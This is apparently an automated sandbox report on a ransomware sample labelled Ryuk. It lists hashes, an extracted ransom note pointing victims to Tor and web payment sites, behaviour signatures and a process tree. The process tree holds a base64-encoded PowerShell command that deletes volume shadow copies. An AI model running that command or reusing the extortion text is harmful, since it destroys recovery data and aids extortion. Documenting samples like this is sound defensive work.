Overview

overview

10

Static

static

10

553d4a0c03...41.exe

windows7_x64

10

553d4a0c03...41.exe

windows10_x64

10

Analysis

  • max time kernel
    146s
  • max time network
    180s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 02:03

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    553d4a0c0338389ca07f89f044c14a0387de7d0396d25a629ed4b9dc6ee87941.exe

  • Size

    164KB

  • MD5

    f51a5124afe1ae347da58adf8c527f63

  • SHA1

    6e3876a7305a8cc82b428dd603028dcbfe1f04f7

  • SHA256

    553d4a0c0338389ca07f89f044c14a0387de7d0396d25a629ed4b9dc6ee87941

  • SHA512

    3e73967f8105f3e54fec0c1bf92328eddb5b4eabc8008ba6d9eb0774ff52a48e0e0958f2b1d6084370e5388d90b1fc9310024ddbec09e7c2a15b9ce7c92b8cda

Score
10/10
ryukransomware

Malware Config

Extracted

Path

C:\95qz9on125-readme.txt

Family

ryuk

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 95qz9on125. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware" , for example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8E28F85AAF9AD281 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/8E28F85AAF9AD281 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: hYhyM1FTkMO3wHKeiuzDfQGevmG0yLVNqG47Yq2kMxG8zyhTB4U6QcyzgTHcClKL ArfPnOQXbJPpUZrkn7VptSXD2na4+KE2I4ghI1G9SYN91Css5Ct3njUfmxwLUbOj tokPGT/ZO/b4QVhFXsB1/0cZZQD8A3tz3udEIhRaHqelDFsMd5RWjtgBfWQlIJ1x huGesSW2NiSgXu7YmOqflPbJzg3zMsMFEaPoSYq+bmkMZa/rFFls/BZDn6p4hoL8 3SnWuK5R0rFrM6+Dz6aanTtiN/fAfBCzVbnCuRB1ZfLyZxXRb6o0sOTQB4mBjCuC NXbuOjYzBb28etAOv6AICG3uec382ciX1Q/6X67Qhpu+b5ehGqDztUURdYxv8t6P yuMGU/U2Yx89MpCczLQgIXO+qnXB/WXskjiJFBhgvlmWVfyA8xPesm1ar1fNrZyQ W4WT4gTYb6NHtMc08+fM5rKlnTCQEZYkmY04SBQatarlXWnRloS6rZ2LFeRsgfvS ZQSOgFalqJK2+6CEjRWy/4FarPrabL5ExpLqJcg+4IzEEfVjUpy7f6uKU1y7vPVk R3guzIHb1u0nBeExGbJH/mgmUZL8DUqVlUQWLE9ujkO+exgTk7zcGsYv5pWvv6/d hEw3X/gAAvUdcP8bwZPzj8yFZ/r0QMIMpPtzG3ZajBuXQjcvA5JvC+K2zNpdVUDm DV8/HchAGYbNVInUXGWA7iKJRO1ihINlklMZ35Howf8Sliz0krbZoEL0UpJPhzee G81/x27ZgpRTY2onAIEg7DPQ0SMpOgx2XpVnvQqMWAzQdEwCC5TkxR91btickfas WfvlrTMykanvBHVN0DkOyeGvOr/B6w0gZkgcD9LmT2cQupBm/UxRsDC+cO/VqbcQ 7BNs9xSzgZcehyks3TWkk9KuaCGTYXUeurSr7Cna8a5VB2G0K5tAXsPXjOHmWJzl LrV5Lvnvz2nNx76Q2EXdBifUk571tcJXtibaqyNkwoZDWMSHHbBpGzk+KOq1cidi TDfMM1m9N3F1MnM97jqMPM6Dgl9RWuCqo8J6FvRnSdNhBgDEN8Sf42PY0E70Sors G9JpMIeLu599Ie55Gbirqei/wf8uL1Sy3H7EgI4aFbsbGjw4HoI3JoSmbWYWYrJN eViH21P6+KtnxMHW Extension name: 95qz9on125 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8E28F85AAF9AD281

http://decryptor.top/8E28F85AAF9AD281

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 30 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\553d4a0c0338389ca07f89f044c14a0387de7d0396d25a629ed4b9dc6ee87941.exe
    "C:\Users\Admin\AppData\Local\Temp\553d4a0c0338389ca07f89f044c14a0387de7d0396d25a629ed4b9dc6ee87941.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1460
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1752
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1644
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2012

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1460-54-0x0000000075431000-0x0000000075433000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1752-55-0x000007FEFBE11000-0x000007FEFBE13000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1752-57-0x0000000002570000-0x0000000002572000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1752-59-0x0000000002574000-0x0000000002577000-memory.dmp

      Filesize

      12KB

      Download

    • memory/1752-58-0x0000000002572000-0x0000000002574000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1752-56-0x000007FEF2D50000-0x000007FEF38AD000-memory.dmp

      Filesize

      11.4MB

      Download

    • memory/1752-60-0x000000001B7C0000-0x000000001BABF000-memory.dmp

      Filesize

      3.0MB

      Download

    • memory/1752-61-0x000000000257B000-0x000000000259A000-memory.dmp

      Filesize

      124KB

      Download